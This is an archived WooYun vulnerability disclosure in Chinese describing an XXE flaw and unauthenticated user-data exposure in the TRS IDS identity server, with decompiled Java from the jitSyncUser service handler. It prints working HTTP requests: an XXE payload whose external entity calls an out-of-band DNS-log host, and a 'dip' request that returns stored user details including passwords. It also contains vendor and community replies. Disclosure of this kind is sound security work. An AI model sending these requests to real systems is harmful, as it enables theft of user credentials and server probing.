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缺陷编号：wooyun-2016-0188473

漏洞标题：TRS(ids新老版本)设计缺陷(xxe/用户信息泄露包括密码等)

相关厂商：北京拓尔思信息技术股份有限公司

漏洞作者： menmen519

提交时间：2016-03-24 11:59

修复时间：2016-06-26 11:50

公开时间：2016-06-26 11:50

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-03-24： 细节已通知厂商并且等待厂商处理中
2016-03-28： 厂商已经确认，细节仅向厂商公开
2016-03-31： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2016-05-22： 细节向核心白帽子及相关领域专家公开
2016-06-01： 细节向普通白帽子公开
2016-06-11： 细节向实习白帽子公开
2016-06-26： 细节向公众公开

简要描述：

TRS(ids)设计缺陷(xxe/用户信息泄露包括密码)，好久没有发过漏洞了，突然上来看了看，发现漏洞提交页面都变了

详细说明：

首先我们看看web.xml配置文件:

<servlet>
		<servlet-name>ServiceServlet</servlet-name>
		<servlet-class>com.trs.idm.admin.service.ServiceServlet</servlet-class>
	</servlet>
    
	<servlet-mapping>
		<servlet-name>ServiceServlet</servlet-name>
		<url-pattern>/service</url-pattern>
	</servlet-mapping>


跟进ServiceServlet

protected void service(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException
    {
        if("GET".equalsIgnoreCase(request.getMethod()) && StringHelper.isEmpty(request.getQueryString()))
        {
            String responMsg = "It works!";
            if(serviceHandlerManager == null)
                responMsg = "It didn't work!";
            response.getWriter().print(responMsg);
            response.getWriter().flush();
            return;
        }
        String hanlderType = RequestUtil.getParameterAndTrim(request, "idsServiceType");
        LOG.debug((new StringBuilder("hanlder type in request is: ")).append(hanlderType).toString());
        if(serviceHandlerManager == null)
        {
            LOG.warn((new StringBuilder("serviceHandlerManager is null! ")).append(idmServer.getStartError()).toString());
            if("remoteapi".equals(hanlderType))
            {
                response.setContentType("text/xml;charset=utf-8");
                setResponseType(request, response);
                String responseMsg = ProcessorHelper.getErrorResponseAsXML(-2, idmServer.getStartError().toString(), com/trs/idm/admin/service/ServiceServlet.getName(), null);
                sendResponse(response, responseMsg);
            }
            return;
        }
        IServiceHandler serviceHandler = serviceHandlerManager.getServiceHanlder(hanlderType);
        if(serviceHandler == null)
        {
            LOG.warn((new StringBuilder("can not find hanlder by type: ")).append(hanlderType).toString());
            return;
        } else
        {
            serviceHandler.service(request, response);
            return;
        }
    }


通过get方式获取一个服务的名称idsServiceType=xxxxx
然后这里去查询IServiceHandler serviceHandler = serviceHandlerManager.getServiceHanlder(hanlderType);服务存在否

public IServiceHandler getServiceHanlder(String serviceHanlderName)
    {
        return (IServiceHandler)ServiceHanldersMap.get(serviceHanlderName);
    }
    public Map getAllServiceHanlders()
    {
        return ServiceHanldersMap;
    }
    public void start(IDSContext idsCtx)
        throws IdMException
    {
        IServiceHandler ssoAPIServiceHandler = new SSOAPIServiceHanlder(idsCtx);
        ssoAPIServiceHandler.start();
        IServiceHandler coAppStatusMonitorServiceHanlder = new CoAppStatusMonitorServiceHanlder(idsCtx);
        coAppStatusMonitorServiceHanlder.start();
        IServiceHandler v5httpHandler = new HTTPAPIAdaptorHandler(idsCtx);
        v5httpHandler.start();
        IServiceHandler v5httpssoHandler = new HTTPSSOAPIHandler(idsCtx);
        v5httpssoHandler.start();
        IServiceHandler realNameAuthServiceHandler = new RealNameAuthenticationServiceHandlerV2(idsCtx);
        realNameAuthServiceHandler.start();
        IServiceHandler sinaWeiboLoginHandler = new SinaWeiboLoginServiceHandler(idsCtx);
        sinaWeiboLoginHandler.start();
        IServiceHandler renrenLoginHandler = new RenRenLoginServiceHandler(idsCtx);
        renrenLoginHandler.start();
        IServiceHandler qqLoginHandler = new QQLoginServiceHandler(idsCtx);
        qqLoginHandler.start();
        IServiceHandler kaixinLoginHandler = new KaiXinLoginServiceHandler(idsCtx);
        kaixinLoginHandler.start();
        IServiceHandler doubanLoginHandler = new DoubanLoginServiceHandler(idsCtx);
        doubanLoginHandler.start();
        IServiceHandler openAuthLoginHandler = new OpenAuthLoginServiceHandler(idsCtx);
        openAuthLoginHandler.start();
        IServiceHandler idsServerStatusMonitorServiceHanlder = new IdsServerStatusMonitorServiceHanlder(idsCtx);
        idsServerStatusMonitorServiceHanlder.start();
        IServiceHandler federatedAuthHandler = new FederatedAuthHandler(idsCtx);
        federatedAuthHandler.start();
        IServiceHandler jitSyncUser = new JitSynchUserServiceHandler(idsCtx);
        ServiceHanldersMap = new HashMap();
        ServiceHanldersMap.put("remoteapi", v5httpHandler);
        ServiceHanldersMap.put("httpssoservice", v5httpssoHandler);
        ServiceHanldersMap.put("ssoapi", ssoAPIServiceHandler);
        ServiceHanldersMap.put("coAppStatusMonitor", coAppStatusMonitorServiceHanlder);
        ServiceHanldersMap.put("realNameAuthentication", realNameAuthServiceHandler);
        ServiceHanldersMap.put("idsStatusMonitor", idsServerStatusMonitorServiceHanlder);
        ServiceHanldersMap.put("jitSyncUser", jitSyncUser);
        ServiceHanldersMap.put("openAuthLogin", openAuthLoginHandler);
        ServiceHanldersMap.put("sinaWeiboLogin", sinaWeiboLoginHandler);
        ServiceHanldersMap.put("renrenLogin", renrenLoginHandler);
        ServiceHanldersMap.put("qqLogin", qqLoginHandler);
        ServiceHanldersMap.put("kaixinLogin", kaixinLoginHandler);
        ServiceHanldersMap.put("doubanLogin", doubanLoginHandler);
        ServiceHanldersMap.put("federatedAuth", federatedAuthHandler);
        ServiceHanldersMap.put("mockBabyTreeServer", new MockBabyTreeAppServer(idsCtx));
        LOG.info("MemoryServiceHanlderManager start");
    }


发现了 存在这么多服务，我们最主要的看jitSyncUser 这个服务
跟进到JitSynchUserServiceHandler

public void service(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException
    {
        request.setCharacterEncoding("UTF-8");
        response.setContentType("text/html; charset=UTF-8");
        response.setHeader("Pragma", "no-cache");
        response.setHeader("Cache-Control", "no-store");
        response.setDateHeader("Expires", -1L);
        InputStream in = request.getInputStream();
        byte buf[] = new byte[2048];
        in.read(buf);
        in.close();
        String xml = (new String(buf, "UTF-8")).trim();
        if(xml == null || xml.equals(""))
        {
            error(response, "XML\u6587\u6863\u4E3A\u7A7A");
            return;
        }
        try
        {
            Document doc = DocumentHelper.parseText(xml);
            Element root = doc.getRootElement();
            synchUser(response, root, xml);
        }
        catch(DocumentException e)
        {
            error(response, "XML\u6587\u6863\u9519\u8BEF");
        }
        catch(Exception e)
        {
            error(response, "XML\u6587\u6863\u9519\u8BEF");
        }
    }


这里直接通过流读取一个xml，然后交给synchUser方法处理

private void synchUser(HttpServletResponse response, Element element, String xml)
        throws IOException, IdMException
    {
        User user = getBean(element);
        String action = getAction(element);
        String status = "";
        if("app".equalsIgnoreCase(action))
            userManager.addUser(user, "");
        else
        if("mod".equalsIgnoreCase(action))
            userManager.updateUser(user);
        else
        if("active".equalsIgnoreCase(action))
        {
            user.setActived(true);
            userService.noticeEnableOrDisableUser(true, user);
        } else
        if("unactive".equalsIgnoreCase(action))
        {
            user.setActived(false);
            userService.noticeEnableOrDisableUser(false, user);
        } else
        if("del".equalsIgnoreCase(action))
            userManager.removeUser(user);
        else
        if("dip".equalsIgnoreCase(action))
        {
            User newUser = userManager.findByName(user.getUserName(), "ids_internal");
            if(newUser != null)
            {
                String encode = buildReturnXml(newUser);
                response.getWriter().print(encode);
                return;
            }
        } else
        if("check".equalsIgnoreCase(action))
        {
            String userExist = userManager.isUserExist(user.getUserName(), "", true);
            status = userExist;
        } else
        if("check-up".equalsIgnoreCase(action))
        {
            status = checkUserInfo(user);
        } else
        {
            error(response, "\u8BF7\u6C42\u7684\u65B9\u6CD5\u65E0\u6548");
            return;
        }
       
        StringBuffer sb = new StringBuffer("<?xml version='1.0' encoding='UTF-8' ?><Inter-Xinhua Version='1.0'>");
        if("check".equals(action))
        {
            if(status.equals("true") || status.equals("false"))
                sb.append(String.format("<Error>false</Error><Exist>%s</Exist>", new Object[] {
                    status
                }));
            else
                sb.append(String.format("<Error>true</Error><ErrorMessage>%s</ErrorMessage>", new Object[] {
                    status
                }));
        } else
        if(status.equals(""))
            sb.append("<Error>false</Error>");
        else
            sb.append(String.format("<Error>true</Error><ErrorMessage>%s</ErrorMessage>", new Object[] {
                status
            }));
        sb.append("</Inter-Xinhua>");
        response.getWriter().print(sb.toString());
    }


那么看看第一个漏洞点：

try
        {
            Document doc = DocumentHelper.parseText(xml);
            Element root = doc.getRootElement();
            synchUser(response, root, xml);
        }


这里直接对xml进行了解析，所以存在xxe漏洞，为了测试，我们cloudeye 演示一下

POST /ids/service?idsServiceType=jitSyncUser HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: trsidsssosessionid=2382B8AE9E8FB5B441212CE2595F963E**.**.**.**
X-Forwarded-For: **.**.**.**
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------1988224119974
Content-Length: 196
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xdsec [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "http://mm1111.88d400.dnslog.info" >]><methodcall><methodname>&xxe;</methodname></methodcall>


trs1.gif


下面的synchUser,因为接口是统一有问题的，所以这里就举其中一个信息泄露例子吧

POST /ids/service?idsServiceType=jitSyncUser HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: trsidsssosessionid=2382B8AE9E8FB5B441212CE2595F963E**.**.**.**
X-Forwarded-For: **.**.**.**
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------1988224119974
Content-Length: 381
<?xml version="1.0" encoding="UTF-8"?><UserInfo><Method>dip</Method><AppId>dbg</AppId><ID>test</ID><Password>xxxxx</Password><CPassword>xxxxx</CPassword><Name>xxxxxx</Name><Domain></Domain><TEL>02965474561</TEL><PostCode>710000</PostCode><Mobile>15802991645</Mobile><Address>test123</Address><E-mail>test123@**.**.**.**</E-mail><UserType>dbg</UserType><ES></ES><DES></DES></UserInfo>


trs2.gif


其他的 比如任意用户密码修改，用户激活等等这里就不举例子了
案例:
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**

漏洞证明：

修复方案：

版权声明：转载请注明来源 menmen519@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2016-03-28 11:45

厂商回复：

感谢反馈，问题于几个月前已通过其他渠道获悉，并就已实施的关键项目做了修复对接，标准产品的补丁将很快发布。

最新状态：

暂无

漏洞评价：

评价

  1. 2016-03-24 11:59 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)

    好久不见

  2. 2016-03-24 12:01 | 狗狗侠 认证白帽子 ( 普通白帽子 | Rank:518 漏洞数:58 | 我是狗狗侠)

    漏洞分析的仔细，奖励速度跟上

  3. 2016-03-24 12:41 | 幻老头儿 ( 普通白帽子 | Rank:285 漏洞数:63 | 新手上路。)

    我是来膜拜大神的

  4. 2016-03-24 13:26 | Vinc ( 普通白帽子 | Rank:383 漏洞数:58 | 提莫队长正在待命！)

    看看

  5. 2016-03-24 15:28 | _Thorns ( 普通白帽子 | Rank:1754 漏洞数:269 | 以大多数人的努力程度之低，根本轮不到去拼...)

    前排关注。

  6. 2016-03-28 13:26 | 盛大网络(乌云厂商)

    分析的不错